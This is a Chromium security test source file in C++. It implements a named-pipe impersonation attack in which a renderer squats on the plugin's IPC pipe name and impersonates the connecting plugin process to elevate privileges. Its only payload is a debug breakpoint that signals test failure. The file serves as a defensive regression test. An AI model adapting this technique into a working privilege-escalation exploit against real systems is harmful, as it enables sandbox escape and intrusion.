1// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
2// Use of this source code is governed by a BSD-style license that can be
3// found in the LICENSE file.
4
5#include <windows.h>
6#include <string>
7#include <sstream>
8
9#include "chrome/test/security_tests/ipc_security_tests.h"
10
11namespace {
12
13// Debug output messages prefix.
14const char kODSMgPrefix[] = "[security] ";
15// Format of the Chrome browser pipe for plugins.
16const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d";
17// Size for the in/out pipe buffers.
18const int kBufferSize = 1024;
19
20// Define the next symbol if you want to have tracing of errors.
21#ifdef PIPE_SECURITY_DBG
22// Generic debug output function.
23void ODSMessageGLE(const char* txt) {
24  DWORD gle = ::GetLastError();
25  std::ostringstream oss;
26  oss << kODSMgPrefix << txt << " 0x" << std::hex << gle;
27  ::OutputDebugStringA(oss.str().c_str());
28}
29#else
30void ODSMessageGLE(const char* txt) {
31}
32#endif
33
34// Retrieves the renderer pipe name from the command line. Returns true if the
35// name was found.
36bool PipeNameFromCommandLine(std::wstring* pipe_name) {
37  std::wstring cl(::GetCommandLineW());
38  const wchar_t key_name[] = L"--channel";
39  std::wstring::size_type pos = cl.find(key_name, 0);
40  if (std::wstring::npos == pos) {
41    return false;
42  }
43  pos = cl.find(L"=", pos);
44  if (std::wstring::npos == pos) {
45    return false;
46  }
47  ++pos;
48  size_t dst = cl.length() - pos;
49  if (dst <4) {
50    return false;
51  }
52  for (; dst != 0; --dst) {
53    if (!isspace(cl[pos])) {
54      break;
55    }
56    ++pos;
57  }
58  if (0 == dst) {
59    return false;
60  }
61  std::wstring::size_type pos2 = pos;
62  for (; dst != 0; --dst) {
63    if (isspace(cl[pos2])) {
64      break;
65    }
66    ++pos2;
67  }
68  *pipe_name = cl.substr(pos, pos2);
69  return true;
70}
71
72// Extracts the browser process id and the channel id given the renderer
73// pipe name.
74bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id,
75                      std::wstring* channel_id) {
76  std::wstring::size_type pos = pipe_name.find(L".", 0);
77  if (std::wstring::npos == pos) {
78    return false;
79  }
80  *parent_id = pipe_name.substr(0, pos);
81  *channel_id = pipe_name.substr(pos + 1);
82  return true;
83}
84
85// Creates a server pipe, in byte mode.
86HANDLE MakeServerPipeBase(const wchar_t* pipe_name) {
87  HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX,
88                                   PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3,
89                                   kBufferSize, kBufferSize, 5000, NULL);
90  if (INVALID_HANDLE_VALUE == pipe) {
91    ODSMessageGLE("pipe creation failed");
92  }
93  return pipe;
94}
95
96// Creates a chrome plugin server pipe.
97HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) {
98  wchar_t pipe_name[MAX_PATH];
99  swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel);
100  return MakeServerPipeBase(pipe_name);
101}
102
103struct Context {
104  HANDLE pipe;
105  explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) {
106  }
107};
108
109// This function is called from a thread that has a security context that is
110// higher than the renderer security context. This can be the plugin security
111// context or the browser security context.
112void DoEvilThings(Context* context) {
113  // To make the test fail we simply trigger a breakpoint in the renderer.
114  ::DisconnectNamedPipe(context->pipe);
115  __debugbreak();
116}
117
118// This is a pipe server thread routine.
119DWORD WINAPI PipeServerProc(void* thread_param) {
120  if (NULL == thread_param) {
121    return 0;
122  }
123  Context* context = static_cast<Context*>(thread_param);
124  HANDLE server_pipe = context->pipe;
125
126  char buffer[4];
127  DWORD bytes_read = 0;
128
129  for (;;) {
130    // The next call blocks until a connection is made.
131    if (!::ConnectNamedPipe(server_pipe, NULL)) {
132      if (GetLastError() != ERROR_PIPE_CONNECTED) {
133        ODSMessageGLE("== connect named pipe failed ==");
134        continue;
135      }
136    }
137    // return value of ReadFile is unimportant.
138    ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL);
139    if (::ImpersonateNamedPipeClient(server_pipe)) {
140      ODSMessageGLE("impersonation obtained");
141      DoEvilThings(context);
142      break;
143    } else {
144      ODSMessageGLE("impersonation failed");
145    }
146    ::DisconnectNamedPipe(server_pipe);
147  }
148  delete context;
149  return 0;
150}
151}   // namespace
152
153// Implements a pipe impersonation attack resulting on a privilege elevation on
154// the chrome pipe-based IPC.
155// When a web-page that has a plug-in is loaded, chrome will do the following
156// steps:
157//   1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1.
158//   2) Launches chrome with command line --type=plugin --channel=<pid>.p<n>
159//   3) The new (plugin) process connects to the pipe and sends a 'hello'
160//      message.
161// The attack creates another server pipe with the same name before step one
162// so when the plugin connects it connects to the renderer instead. Once the
163// connection is acepted and at least a byte is read from the pipe, the
164// renderer can impersonate the plugin process which has a more relaxed
165// security context (privilege elevation).
166//
167// Note that the attack can also be peformed after step 1. In this case we need
168// another thread which used to connect to the existing server pipe so the
169// plugin does not connect to chrome but to our pipe.
170bool PipeImpersonationAttack() {
171  std::wstring pipe_name;
172  if (!PipeNameFromCommandLine(&pipe_name)) {
173    return false;
174  }
175  std::wstring parent_id;
176  std::wstring channel_id;
177  if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) {
178    return false;
179  }
180  HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1);
181  if (INVALID_HANDLE_VALUE == plugin_pipe) {
182    return true;
183  }
184
185  HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc,
186                                 new Context(plugin_pipe), 0, NULL);
187  if (NULL == thread) {
188    return false;
189  }
190  ::CloseHandle(thread);
191  return true;
192}
193